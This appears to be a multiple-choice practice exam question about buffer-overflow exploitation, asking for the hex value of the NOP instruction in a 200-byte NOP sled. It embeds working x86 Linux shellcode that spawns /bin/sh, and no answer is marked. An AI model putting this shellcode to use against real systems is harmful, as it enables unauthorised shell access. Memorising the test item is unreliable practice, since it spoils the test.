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What is the hexadecimal value of NOP instruction?

You are programming a buffer overflow exploit and you want to create a NOP sled of 200 bytes in the program exploit.c

char shellcode[] =

“\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0”
“\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d”
“\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73”
“\x68”;

What is the hexadecimal value of NOP instruction?

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A.
0x60

B.
0x70

C.
0x80

D.
0x90

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